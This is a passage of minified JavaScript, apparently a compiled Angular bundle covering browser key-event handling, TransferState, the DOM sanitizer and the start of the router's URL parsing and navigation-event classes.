ve=["alt","control","meta","shift"],We={"\\b":"Backspace","\\t":"Tab","\\x7f":"Delete","\\x1b":"Escape",Del:"Delete",Esc:"Escape",Left:"ArrowLeft",Right:"ArrowRight",Up:"ArrowUp",Down:"ArrowDown",Menu:"ContextMenu",Scroll:"ScrollLock",Win:"OS"},xt={alt:Se=>Se.altKey,control:Se=>Se.ctrlKey,meta:Se=>Se.metaKey,shift:Se=>Se.shiftKey};let Be=(()=>{class Se extends G{constructor(Ne){super(Ne)}supports(Ne){return null!=Se.parseEventName(Ne)}addEventListener(Ne,ut,Rt){const Zt=Se.parseEventName(ut),a1=Se.eventCallback(Zt.fullKey,Rt,this.manager.getZone());return this.manager.getZone().runOutsideAngular(()=>(0,n.q)().onAndCancel(Ne,Zt.domEventName,a1))}static parseEventName(Ne){const ut=Ne.toLowerCase().split("."),Rt=ut.shift();if(0===ut.length||"keydown"!==Rt&&"keyup"!==Rt)return null;const Zt=Se._normalizeKey(ut.pop());let a1="",_1=ut.indexOf("code");if(_1>-1&&(ut.splice(_1,1),a1="code."),ve.forEach(gn=>{const nn=ut.indexOf(gn);nn>-1&&(ut.splice(nn,1),a1+=gn+".")}),a1+=Zt,0!=ut.length||0===Zt.length)return null;const G1={};return G1.domEventName=Rt,G1.fullKey=a1,G1}static matchEventFullKeyCode(Ne,ut){let Rt=We[Ne.key]||Ne.key,Zt="";return ut.indexOf("code.")>-1&&(Rt=Ne.code,Zt="code."),!(null==Rt||!Rt)&&(Rt=Rt.toLowerCase()," "===Rt?Rt="space":"."===Rt&&(Rt="dot"),ve.forEach(a1=>{a1!==Rt&&(0,xt[a1])(Ne)&&(Zt+=a1+".")}),Zt+=Rt,Zt===ut)}static eventCallback(Ne,ut,Rt){return Zt=>{Se.matchEventFullKeyCode(Zt,Ne)&&Rt.runGuarded(()=>ut(Zt))}}static _normalizeKey(Ne){return"esc"===Ne?"escape":Ne}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();const Dt=(0,a.eFA)(a._c5,"browser",[{provide:a.Lbi,useValue:n.bD},{provide:a.g9A,useValue:function _e(){u.makeCurrent()},multi:!0},{provide:n.K0,useFactory:function Je(){return(0,a.RDi)(document),document},deps:[]}]),Pt=new a.OlP(""),Ie=[{provide:a.rWj,useClass:class z{addToWindow(ot){a.dqk.getAngularTestability=(ut,Rt=!0)=>{const Zt=ot.findTestabilityInTree(ut,Rt);if(null==Zt)throw new Error("Could not find testability for element.");return Zt},a.dqk.getAllAngularTestabilities=()=>ot.getAllTestabilities(),a.dqk.getAllAngularRootElements=()=>ot.getAllRootElements(),a.dqk.frameworkStabilizers||(a.dqk.frameworkStabilizers=[]),a.dqk.frameworkStabilizers.push(ut=>{const Rt=a.dqk.getAllAngularTestabilities();let Zt=Rt.length,a1=!1;const _1=function(G1){a1=a1||G1,Zt--,0==Zt&&ut(a1)};Rt.forEach(function(G1){G1.whenStable(_1)})})}findTestabilityInTree(ot,Ne,ut){return null==Ne?null:ot.getTestability(Ne)??(ut?(0,n.q)().isShadowRoot(Ne)?this.findTestabilityInTree(ot,Ne.host,!0):this.findTestabilityInTree(ot,Ne.parentElement,!0):null)}},deps:[]},{provide:a.lri,useClass:a.dDg,deps:[a.R0b,a.eoX,a.rWj]},{provide:a.dDg,useClass:a.dDg,deps:[a.R0b,a.eoX,a.rWj]}],te=[{provide:a.zSh,useValue:"root"},{provide:a.qLn,useFactory:function ct(){return new a.qLn},deps:[]},{provide:j,useClass:re,multi:!0,deps:[n.K0,a.R0b,a.Lbi]},{provide:j,useClass:Be,multi:!0,deps:[n.K0]},{provide:Qe,useClass:Qe,deps:[U,oe,a.AFp,ce]},{provide:a.FYo,useExisting:Qe},{provide:Q,useExisting:oe},{provide:oe,useClass:oe,deps:[n.K0]},{provide:U,useClass:U,deps:[j,a.R0b]},{provide:n.JF,useClass:H,deps:[]},[]];let x=(()=>{class Se{constructor(Ne){}static withServerTransition(Ne){return{ngModule:Se,providers:[{provide:a.AFp,useValue:Ne.appId},{provide:S,useExisting:a.AFp},C]}}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(Pt,12))},Se.\\u0275mod=a.oAB({type:Se}),Se.\\u0275inj=a.cJS({providers:[...te,...Ie],imports:[n.ez,a.hGG]}),Se})(),Xe=(()=>{class Se{constructor(Ne){this._doc=Ne}getTitle(){return this._doc.title}setTitle(Ne){this._doc.title=Ne||""}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:function(Ne){let ut=null;return ut=Ne?new Ne:function ie(){return new Xe((0,a.LFG)(n.K0))}(),ut},providedIn:"root"}),Se})();function Fe(Se){return Se}typeof window<"u"&&window;let be=(()=>{class Se{constructor(){this.store={},this.onSerializeCallbacks={},this.store=function Pe(Se,ot){const Ne=Se.getElementById(ot+"-state");let ut={};if(Ne&&Ne.textContent)try{ut=JSON.parse(function kt(Se){const ot={"&a;":"&","&q;":\'"\',"&s;":"\'","&l;":"<","&g;":">"};return Se.replace(/&[^;]+;/g,Ne=>ot[Ne])}(Ne.textContent))}catch(Rt){console.warn("Exception while restoring TransferState for app "+ot,Rt)}return ut}((0,a.f3M)(n.K0),(0,a.f3M)(a.AFp))}get(Ne,ut){return void 0!==this.store[Ne]?this.store[Ne]:ut}set(Ne,ut){this.store[Ne]=ut}remove(Ne){delete this.store[Ne]}hasKey(Ne){return this.store.hasOwnProperty(Ne)}get isEmpty(){return 0===Object.keys(this.store).length}onSerialize(Ne,ut){this.onSerializeCallbacks[Ne]=ut}toJson(){for(const Ne in this.onSerializeCallbacks)if(this.onSerializeCallbacks.hasOwnProperty(Ne))try{this.store[Ne]=this.onSerializeCallbacks[Ne]()}catch(ut){console.warn("Exception in onSerialize callback: ",ut)}return JSON.stringify(this.store)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac,providedIn:"root"}),Se})(),Re=(()=>{class Se{}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275mod=a.oAB({type:Se}),Se.\\u0275inj=a.cJS({}),Se})(),nt=(()=>{class Se{}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275prov=a.Yz7({token:Se,factory:function(Ne){let ut=null;return ut=Ne?new(Ne||Se):a.LFG(Ee),ut},providedIn:"root"}),Se})(),Ee=(()=>{class Se extends nt{constructor(Ne){super(),this._doc=Ne}sanitize(Ne,ut){if(null==ut)return null;switch(Ne){case a.q3G.NONE:return ut;case a.q3G.HTML:return(0,a.qzn)(ut,"HTML")?(0,a.z3N)(ut):(0,a.EiD)(this._doc,String(ut)).toString();case a.q3G.STYLE:return(0,a.qzn)(ut,"Style")?(0,a.z3N)(ut):ut;case a.q3G.SCRIPT:if((0,a.qzn)(ut,"Script"))return(0,a.z3N)(ut);throw new Error("unsafe value used in a script context");case a.q3G.URL:return(0,a.qzn)(ut,"URL")?(0,a.z3N)(ut):(0,a.mCW)(String(ut));case a.q3G.RESOURCE_URL:if((0,a.qzn)(ut,"ResourceURL"))return(0,a.z3N)(ut);throw new Error(`unsafe value used in a resource URL context (see ${a.JZr})`);default:throw new Error(`Unexpected SecurityContext ${Ne} (see ${a.JZr})`)}}bypassSecurityTrustHtml(Ne){return(0,a.JVY)(Ne)}bypassSecurityTrustStyle(Ne){return(0,a.L6k)(Ne)}bypassSecurityTrustScript(Ne){return(0,a.eBb)(Ne)}bypassSecurityTrustUrl(Ne){return(0,a.LAX)(Ne)}bypassSecurityTrustResourceUrl(Ne){return(0,a.pB0)(Ne)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:function(Ne){let ut=null;return ut=Ne?new Ne:function fe(Se){return new Ee(Se.get(n.K0))}(a.LFG(a.zs3)),ut},providedIn:"root"}),Se})()},6630:(At,ae,d)=>{"use strict";d.d(ae,{gz:()=>ei,F0:()=>Jn,rH:()=>Q2,Bz:()=>Sr,lC:()=>Oi});var n=d(4650),a=d(5254),s=d(1086),u=d(591);const f=(()=>{function M(){return Error.call(this),this.message="no elements in sequence",this.name="EmptyError",this}return M.prototype=Object.create(Error.prototype),M})();var E=d(3426),_=d(1221),S=d(8514),g=d(4843),C=d(1737),z=d(6498),H=d(8896),j=d(1762),U=d(8929),G=d(6895),Q=d(4850),oe=d(7545),Ce=d(2986),k=d(1059),K=d(2198),se=d(1709),ee=d(3489);function q(M=null){return A=>A.lift(new we(M))}class we{constructor(A){this.defaultValue=A}call(A,p){return p.subscribe(new ce(A,this.defaultValue))}}class ce extends ee.L{constructor(A,p){super(A),this.defaultValue=p,this.isEmpty=!0}_next(A){this.isEmpty=!1,this.destination.next(A)}_complete(){this.isEmpty&&this.destination.next(this.defaultValue),this.destination.complete()}}function je(M=Oe){return A=>A.lift(new Ze(M))}class Ze{constructor(A){this.errorFactory=A}call(A,p){return p.subscribe(new le(A,this.errorFactory))}}class le extends ee.L{constructor(A,p){super(A),this.errorFactory=p,this.hasValue=!1}_next(A){this.hasValue=!0,this.destination.next(A)}_complete(){if(this.hasValue)return this.destination.complete();{let A;try{A=this.errorFactory()}catch(p){A=p}this.destination.error(A)}}}function Oe(){return new f}var Qe=d(5379);function Ye(M,A){const p=arguments.length>=2;return V=>V.pipe(M?(0,K.h)((ne,He)=>M(ne,He,V)):Qe.y,(0,Ce.q)(1),p?q(A):je(()=>new f))}var qe=d(1406),Ke=d(2868),dt=d(7221);function bt(M,A){let p=!1;return arguments.length>=2&&(p=!0),function(ne){return ne.lift(new ze(M,A,p))}}class ze{constructor(A,p,V=!1){this.accumulator=A,this.seed=p,this.hasSeed=V}call(A,p){return p.subscribe(new De(A,this.accumulator,this.seed,this.hasSeed))}}class De extends ee.L{constructor(A,p,V,ne){super(A),this.accumulator=p,this._seed=V,this.hasSeed=ne,this.index=0}get seed(){return this._seed}set seed(A){this.hasSeed=!0,this._seed=A}_next(A){if(this.hasSeed)return this._tryNext(A);this.seed=A,this.destination.next(A)}_tryNext(A){const p=this.index++;let V;try{V=this.accumulator(this.seed,A,p)}catch(ne){this.destination.error(ne)}this.seed=V,this.destination.next(V)}}var re=d(4231);function ve(M){return function(p){return 0===M?(0,H.c)():p.lift(new We(M))}}class We{constructor(A){if(this.total=A,this.total<0)throw new re.W}call(A,p){return p.subscribe(new xt(A,this.total))}}class xt extends ee.L{constructor(A,p){super(A),this.total=p,this.ring=new Array,this.count=0}_next(A){const p=this.ring,V=this.total,ne=this.count++;p.length<V?p.push(A):p[ne%V]=A}_complete(){const A=this.destination;let p=this.count;if(p>0){const V=this.count>=this.total?this.total:this.count,ne=this.ring;for(let He=0;He<V;He++){const tt=p++%V;A.next(ne[tt])}}A.complete()}}function Be(M,A){const p=arguments.length>=2;return V=>V.pipe(M?(0,K.h)((ne,He)=>M(ne,He,V)):Qe.y,ve(1),p?q(A):je(()=>new f))}var pe=d(4290),P=d(7604),w=d(537),R=d(4327),X=d(9146),_e=d(1481);const ct="primary",Je=Symbol("RouteTitle");class Et{constructor(A){this.params=A||{}}has(A){return Object.prototype.hasOwnProperty.call(this.params,A)}get(A){if(this.has(A)){const p=this.params[A];return Array.isArray(p)?p[0]:p}return null}getAll(A){if(this.has(A)){const p=this.params[A];return Array.isArray(p)?p:[p]}return[]}get keys(){return Object.keys(this.params)}}function Dt(M){return new Et(M)}function Pt(M,A,p){const V=p.path.split("/");if(V.length>M.length||"full"===p.pathMatch&&(A.hasChildren()||V.length<M.length))return null;const ne={};for(let He=0;He<V.length;He++){const tt=V[He],Lt=M[He];if(tt.startsWith(":"))ne[tt.substring(1)]=Lt;else if(tt!==Lt.path)return null}return{consumed:M.slice(0,V.length),posParams:ne}}function te(M,A){const p=M?Object.keys(M):void 0,V=A?Object.keys(A):void 0;if(!p||!V||p.length!=V.length)return!1;let ne;for(let He=0;He<p.length;He++)if(ne=p[He],!x(M[ne],A[ne]))return!1;return!0}function x(M,A){if(Array.isArray(M)&&Array.isArray(A)){if(M.length!==A.length)return!1;const p=[...M].sort(),V=[...A].sort();return p.every((ne,He)=>V[He]===ne)}return M===A}function m(M){return Array.prototype.concat.apply([],M)}function b(M){return M.length>0?M[M.length-1]:null}function ie(M,A){for(const p in M)M.hasOwnProperty(p)&&A(M[p],p)}function Xe(M){return(0,n.CqO)(M)?M:(0,n.QGY)(M)?(0,a.D)(Promise.resolve(M)):(0,s.of)(M)}const it=!1,wt={exact:function u1(M,A,p){if(!Ue(M.segments,A.segments)||!kt(M.segments,A.segments,p)||M.numberOfChildren!==A.numberOfChildren)return!1;for(const V in A.children)if(!M.children[V]||!u1(M.children[V],A.children[V],p))return!1;return!0},subset:It},Vt={exact:function qt(M,A){return te(M,A)},subset:function c1(M,A){return Object.keys(A).length<=Object.keys(M).length&&Object.keys(A).every(p=>x(M[p],A[p]))},ignored:()=>!0};function Gt(M,A,p){return wt[p.paths](M.root,A.root,p.matrixParams)&&Vt[p.queryParams](M.queryParams,A.queryParams)&&!("exact"===p.fragment&&M.fragment!==A.fragment)}function It(M,A,p){return _t(M,A,A.segments,p)}function _t(M,A,p,V){if(M.segments.length>p.length){const ne=M.segments.slice(0,p.length);return!(!Ue(ne,p)||A.hasChildren()||!kt(ne,p,V))}if(M.segments.length===p.length){if(!Ue(M.segments,p)||!kt(M.segments,p,V))return!1;for(const ne in A.children)if(!M.children[ne]||!It(M.children[ne],A.children[ne],V))return!1;return!0}{const ne=p.slice(0,M.segments.length),He=p.slice(M.segments.length);return!!(Ue(M.segments,ne)&&kt(M.segments,ne,V)&&M.children[ct])&&_t(M.children[ct],A,He,V)}}function kt(M,A,p){return A.every((V,ne)=>Vt[p](M[ne].parameters,V.parameters))}class Fe{constructor(A=new be([],{}),p={},V=null){this.root=A,this.queryParams=p,this.fragment=V}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=Dt(this.queryParams)),this._queryParamMap}toString(){return mt.serialize(this)}}class be{constructor(A,p){this.segments=A,this.children=p,this.parent=null,ie(p,(V,ne)=>V.parent=this)}hasChildren(){return this.numberOfChildren>0}get numberOfChildren(){return Object.keys(this.children).length}toString(){return Ct(this)}}class Pe{constructor(A,p){this.path=A,this.parameters=p}get parameterMap(){return this._parameterMap||(this._parameterMap=Dt(this.parameters)),this._parameterMap}toString(){return ot(this)}}function Ue(M,A){return M.length===A.length&&M.every((p,V)=>p.path===A[V].path)}let J=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(){return new Ae},providedIn:"root"}),M})();class Ae{parse(A){const p=new nn(A);return new Fe(p.parseRootSegment(),p.parseQueryParams(),p.parseFragment())}serialize(A){const p=`/${jt(A.root,!0)}`,V=function ut(M){const A=Object.keys(M).map(p=>{const V=M[p];return Array.isArray(V)?V.map(ne=>`${nt(p)}=${nt(ne)}`).join("&"):`${nt(p)}=${nt(V)}`}).filter(p=>!!p);return A.length?`?${A.join("&")}`:""}(A.queryParams);return`${p}${V}${"string"==typeof A.fragment?`#${function fe(M){return encodeURI(M)}(A.fragment)}`:""}`}}const mt=new Ae;function Ct(M){return M.segments.map(A=>ot(A)).join("/")}function jt(M,A){if(!M.hasChildren())return Ct(M);if(A){const p=M.children[ct]?jt(M.children[ct],!1):"",V=[];return ie(M.children,(ne,He)=>{He!==ct&&V.push(`${He}:${jt(ne,!1)}`)}),V.length>0?`${p}(${V.join("//")})`:p}{const p=function xe(M,A){let p=[];return ie(M.children,(V,ne)=>{ne===ct&&(p=p.concat(A(V,ne)))}),ie(M.children,(V,ne)=>{ne!==ct&&(p=p.concat(A(V,ne)))}),p}(M,(V,ne)=>ne===ct?[jt(M.children[ct],!1)]:[`${ne}:${jt(V,!1)}`]);return 1===Object.keys(M.children).length&&null!=M.children[ct]?`${Ct(M)}/${p[0]}`:`${Ct(M)}/(${p.join("//")})`}}function pt(M){return encodeURIComponent(M).replace(/%40/g,"@").replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",")}function nt(M){return pt(M).replace(/%3B/gi,";")}function Ee(M){return pt(M).replace(/\\(/g,"%28").replace(/\\)/g,"%29").replace(/%26/gi,"&")}function at(M){return decodeURIComponent(M)}function Se(M){return at(M.replace(/\\+/g,"%20"))}function ot(M){return`${Ee(M.path)}${function Ne(M){return Object.keys(M).map(A=>`;${Ee(A)}=${Ee(M[A])}`).join("")}(M.parameters)}`}const Rt=/^[^\\/()?;=#]+/;function Zt(M){const A=M.match(Rt);return A?A[0]:""}const a1=/^[^=?&#]+/,G1=/^[^&#]+/;class nn{constructor(A){this.url=A,this.remaining=A}parseRootSegment(){return this.consumeOptional("/"),""===this.remaining||this.peekStartsWith("?")||this.peekStartsWith("#")?new be([],{}):new be([],this.parseChildren())}parseQueryParams(){const A={};if(this.consumeOptional("?"))do{this.parseQueryParam(A)}while(this.consumeOptional("&"));return A}parseFragment(){return this.consumeOptional("#")?decodeURIComponent(this.remaining):null}parseChildren(){if(""===this.remaining)return{};this.consumeOptional("/");const A=[];for(this.peekStartsWith("(")||A.push(this.parseSegment());this.peekStartsWith("/")&&!this.peekStartsWith("//")&&!this.peekStartsWith("/(");)this.capture("/"),A.push(this.parseSegment());let p={};this.peekStartsWith("/(")&&(this.capture("/"),p=this.parseParens(!0));let V={};return this.peekStartsWith("(")&&(V=this.parseParens(!1)),(A.length>0||Object.keys(p).length>0)&&(V[ct]=new be(A,p)),V}parseSegment(){const A=Zt(this.remaining);if(""===A&&this.peekStartsWith(";"))throw new n.vHH(4009,it);return this.capture(A),new Pe(at(A),this.parseMatrixParams())}parseMatrixParams(){const A={};for(;this.consumeOptional(";");)this.parseParam(A);return A}parseParam(A){const p=Zt(this.remaining);if(!p)return;this.capture(p);let V="";if(this.consumeOptional("=")){const ne=Zt(this.remaining);ne&&(V=ne,this.capture(V))}A[at(p)]=at(V)}parseQueryParam(A){const p=function _1(M){const A=M.match(a1);return A?A[0]:""}(this.remaining);if(!p)return;this.capture(p);let V="";if(this.consumeOptional("=")){const tt=function gn(M){const A=M.match(G1);return A?A[0]:""}(this.remaining);tt&&(V=tt,this.capture(V))}const ne=Se(p),He=Se(V);if(A.hasOwnProperty(ne)){let tt=A[ne];Array.isArray(tt)||(tt=[tt],A[ne]=tt),tt.push(He)}else A[ne]=He}parseParens(A){const p={};for(this.capture("(");!this.consumeOptional(")")&&this.remaining.length>0;){const V=Zt(this.remaining),ne=this.remaining[V.length];if("/"!==ne&&")"!==ne&&";"!==ne)throw new n.vHH(4010,it);let He;V.indexOf(":")>-1?(He=V.slice(0,V.indexOf(":")),this.capture(He),this.capture(":")):A&&(He=ct);const tt=this.parseChildren();p[He]=1===Object.keys(tt).length?tt[ct]:new be([],tt),this.consumeOptional("//")}return p}peekStartsWith(A){return this.remaining.startsWith(A)}consumeOptional(A){return!!this.peekStartsWith(A)&&(this.remaining=this.remaining.substring(A.length),!0)}capture(A){if(!this.consumeOptional(A))throw new n.vHH(4011,it)}}function P1(M){return M.segments.length>0?new be([],{[ct]:M}):M}function on(M){const A={};for(const V of Object.keys(M.children)){const He=on(M.children[V]);(He.segments.length>0||He.hasChildren())&&(A[V]=He)}return function Ge(M){if(1===M.numberOfChildren&&M.children[ct]){const A=M.children[ct];return new be(M.segments.concat(A.segments),A.children)}return M}(new be(M.segments,A))}function vt(M){return M instanceof Fe}const Me=!1;function $(M,A,p,V,ne){if(0===p.length)return Wt(A.root,A.root,A.root,V,ne);const He=function Qt(M){if("string"==typeof M[0]&&1===M.length&&"/"===M[0])return new w1(!0,0,M);let A=0,p=!1;const V=M.reduce((ne,He,tt)=>{if("object"==typeof He&&null!=He){if(He.outlets){const Lt={};return ie(He.outlets,($t,d1)=>{Lt[d1]="string"==typeof $t?$t.split("/"):$t}),[...ne,{outlets:Lt}]}if(He.segmentPath)return[...ne,He.segmentPath]}return"string"!=typeof He?[...ne,He]:0===tt?(He.split("/").forEach((Lt,$t)=>{0==$t&&"."===Lt||(0==$t&&""===Lt?p=!0:".."===Lt?A++:""!=Lt&&ne.push(Lt))}),ne):[...ne,He]},[]);return new w1(p,A,V)}(p);return He.toRoot()?Wt(A.root,A.root,new be([],{}),V,ne):function tt($t){const d1=function Y1(M,A,p,V){if(M.isAbsolute)return new h1(A.root,!0,0);if(-1===V)return new h1(p,p===A.root,0);return function T1(M,A,p){let V=M,ne=A,He=p;for(;He>ne;){if(He-=ne,V=V.parent,!V)throw new n.vHH(4005,Me&&"Invalid number of \'../\'");ne=V.segments.length}return new h1(V,!1,ne-He)}(p,V+(ke(M.commands[0])?0:1),M.numberOfDoubleDots)}(He,A,M.snapshot?._urlSegment,$t),f1=d1.processChildren?E1(d1.segmentGroup,d1.index,He.commands):vn(d1.segmentGroup,d1.index,He.commands);return Wt(A.root,d1.segmentGroup,f1,V,ne)}(M.snapshot?._lastPathIndex)}function ke(M){return"object"==typeof M&&null!=M&&!M.outlets&&!M.segmentPath}function lt(M){return"object"==typeof M&&null!=M&&M.outlets}function Wt(M,A,p,V,ne){let tt,He={};V&&ie(V,($t,d1)=>{He[d1]=Array.isArray($t)?$t.map(f1=>`${f1}`):`${$t}`}),tt=M===A?p:p1(M,A,p);const Lt=P1(on(tt));return new Fe(Lt,He,ne)}function p1(M,A,p){const V={};return ie(M.children,(ne,He)=>{V[He]=ne===A?p:p1(ne,A,p)}),new be(M.segments,V)}class w1{constructor(A,p,V){if(this.isAbsolute=A,this.numberOfDoubleDots=p,this.commands=V,A&&V.length>0&&ke(V[0]))throw new n.vHH(4003,Me&&"Root segment cannot have matrix parameters");const ne=V.find(lt);if(ne&&ne!==b(V))throw new n.vHH(4004,Me&&"{outlets:{}} has to be the last command")}toRoot(){return this.isAbsolute&&1===this.commands.length&&"/"==this.commands[0]}}class h1{constructor(A,p,V){this.segmentGroup=A,this.processChildren=p,this.index=V}}function vn(M,A,p){if(M||(M=new be([],{})),0===M.segments.length&&M.hasChildren())return E1(M,A,p);const V=function In(M,A,p){let V=0,ne=A;const He={match:!1,pathIndex:0,commandIndex:0};for(;ne<M.segments.length;){if(V>=p.length)return He;const tt=M.segments[ne],Lt=p[V];if(lt(Lt))break;const $t=`${Lt}`,d1=V<p.length-1?p[V+1]:null;if(ne>0&&void 0===$t)break;if($t&&d1&&"object"==typeof d1&&void 0===d1.outlets){if(!fn($t,d1,tt))return He;V+=2}else{if(!fn($t,{},tt))return He;V++}ne++}return{match:!0,pathIndex:ne,commandIndex:V}}(M,A,p),ne=p.slice(V.commandIndex);if(V.match&&V.pathIndex<M.segments.length){const He=new be(M.segments.slice(0,V.pathIndex),{});return He.children[ct]=new be(M.segments.slice(V.pathIndex),M.children),E1(He,0,ne)}return V.match&&0===ne.length?new be(M.segments,{}):V.match&&!M.hasChildren()?Gn(M,A,p):V.match?E1(M,0,ne):Gn(M,A,p)}function E1(M,A,p){if(0===p.length)return new be(M.segments,{});{const V=function V1(M){return lt(M[0])?M[0].outlets:{[ct]:M}}(p),ne={};if(!V[ct]&&M.children[ct]&&1===M.numberOfChildren&&0===M.children[ct].segments.length){const He=E1(M.children[ct],A,p);return new be(M.segments,He.children)}return ie(V,(He,tt)=>{"string"==typeof He&&(He=[He]),null!==He&&(ne[tt]=vn(M.children[tt],A,He))}),ie(M.children,(He,tt)=>{void 0===V[tt]&&(ne[tt]=He)}),new be(M.segments,ne)}}function Gn(M,A,p){const V=M.segments.slice(0,A);let ne=0;for(;ne<p.length;){const He=p[ne];if(lt(He)){const $t=D1(He.outlets);return new be(V,$t)}if(0===ne&&ke(p[0])){V.push(new Pe(M.segments[A].path,ci(p[0]))),ne++;continue}const tt=lt(He)?He.outlets[ct]:`${He}`,Lt=ne<p.length-1?p[ne+1]:null;tt&&Lt&&ke(Lt)?(V.push(new Pe(tt,ci(Lt))),ne+=2):(V.push(new Pe(tt,{})),ne++)}return new be(V,{})}function D1(M){const A={};return ie(M,(p,V)=>{"string"==typeof p&&(p=[p]),null!==p&&(A[V]=Gn(new be([],{}),0,p))}),A}function ci(M){const A={};return ie(M,(p,V)=>A[V]=`${p}`),A}function fn(M,A,p){return M==p.path&&te(A,p.parameters)}const Rn="imperative";class cn{constructor(A,p){this.id=A,this.url=p}}class X1 extends cn{constructor(A,p,V="imperative",ne=null){super(A,p),this.type=0,this.navigationTrigger=V,this.restoredState=ne}toString(){return`NavigationStart(id: ${this.id}, url: \'${this.url}\')`}}class Pn extends cn{constructor(A,p,V){super(A,p),this.urlAfterRedirects=V,this.type=1}toString(){return`NavigationEnd(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\')`}}class Fn extends cn{constructor(A,p,V,ne){super(A,p),this.reason=V,this.code=ne,this.type=2}toString(){return`NavigationCancel(id: ${this.id}, url: \'${this.url}\')`}}class An extends cn{constructor(A,p,V,ne){super(A,p),this.reason=V,this.code=ne,this.type=16}}class $n extends cn{constructor(A,p,V,ne){super(A,p),this.error=V,this.target=ne,this.type=3}toString(){return`NavigationError(id: ${this.id}, url: \'${this.url}\', error: ${this.error})`}}class li extends cn{constructor(A,p,V,ne){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.type=4}toString(){return`RoutesRecognized(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state})`}}class L1 extends cn{constructor(A,p,V,ne){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.type=7}toString(){return`GuardsCheckStart(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state})`}}class Cn extends cn{constructor(A,p,V,ne,He){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.shouldActivate=He,this.type=8}toString(){return`GuardsCheckEnd(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state}, shouldActivate: ${this.shouldActivate})`}}class Mn extends cn{constructor(A,p,V,ne){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.type=5}toString(){return`ResolveStart(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state})`}}class di extends cn{constructor(A,p,V,ne){super(A,p),this.urlAfterRedirects=V,this.state=ne,this.type=6}toString(){return`ResolveEnd(id: ${this.id}, url: \'${this.url}\', urlAfterRedirects: \'${this.urlAfterRedirects}\', state: ${this.state})`}}class ri{constructor(A){this.route=A,this.type=9}toString(){return`RouteConfigLoadStart(path: ${this.route.path})`}}class _i{constructor(A){this.route=A,this.type=10}toString(){return`RouteConfigLoadEnd(path: ${this.route.path})`}}class Nn{constructor(A){this.snapshot=A,this.type=11}toString(){return`ChildActivationStart(path: \'${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}\')`}}class ln{constructor(A){this.snapshot=A,this.type=12}toString(){return`ChildActivationEnd(path: \'${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}\')`}}class u2{constructor(A){this.snapshot=A,this.type=13}toString(){return`ActivationStart(path: \'${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}\')`}}class dn{constructor(A){this.snapshot=A,this.type=14}toString(){return`ActivationEnd(path: \'${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}\')`}}class Sn{constructor(A,p,V){this.routerEvent=A,this.position=p,this.anchor=V,this.type=15}toString(){return`Scroll(anchor: \'${this.anchor}\', position: \'${this.position?`${this.position[0]}, ${this.position[1]}`:null}\')`}}let ui=(()=>{class M{createUrlTree(p,V,ne,He,tt,Lt){return $(p||V.root,ne,He,tt,Lt)}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac}),M})(),Fi=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(A){return ui.\\u0275fac(A)},providedIn:"root"}),M})();class Qi{constructor(A){this._root=A}get root(){return this._root.value}parent(A){const p=this.pathFromRoot(A);return p.length>1?p[p.length-2]:null}children(A){const p=zi(A,this._root);return p?p.children.map(V=>V.value):[]}firstChild(A){const p=zi(A,this._root);return p&&p.children.length>0?p.children[0].value:null}siblings(A){const p=hi(A,this._root);return p.length<2?[]:p[p.length-2].children.map(ne=>ne.value).filter(ne=>ne!==A)}pathFromRoot(A){return hi(A,this._root).map(p=>p.value)}}function zi(M,A){if(M===A.value)return A;for(const p of A.children){const V=zi(M,p);if(V)return V}return null}function hi(M,A){if(M===A.value)return[A];for(const p of A.children){const V=hi(M,p);if(V.length)return V.unshift(A),V}return[]}class Kn{constructor(A,p){this.value=A,this.children=p}toString(){return`TreeNode(${this.value})`}}function Ti(M){const A={};return M&&M.children.forEach(p=>A[p.value.outlet]=p),A}class qi extends Qi{constructor(A,p){super(A),this.snapshot=p,p2(this,A)}toString(){return this.snapshot.toString()}}function h2(M,A){const p=function Ni(M,A){const tt=new f2([],{},{},"",{},ct,A,null,M.root,-1,{});return new Vi("",new Kn(tt,[]))}(M,A),V=new u.X([new Pe("",{})]),ne=new u.X({}),He=new u.X({}),tt=new u.X({}),Lt=new u.X(""),$t=new ei(V,ne,tt,Lt,He,ct,A,p.root);return $t.snapshot=p.root,new qi(new Kn($t,[]),p)}class ei{constructor(A,p,V,ne,He,tt,Lt,$t){this.url=A,this.params=p,this.queryParams=V,this.fragment=ne,this.data=He,this.outlet=tt,this.component=Lt,this.title=this.data?.pipe((0,Q.U)(d1=>d1[Je]))??(0,s.of)(void 0),this._futureSnapshot=$t}get routeConfig(){return this._futureSnapshot.routeConfig}get root(){return this._routerState.root}get parent(){return 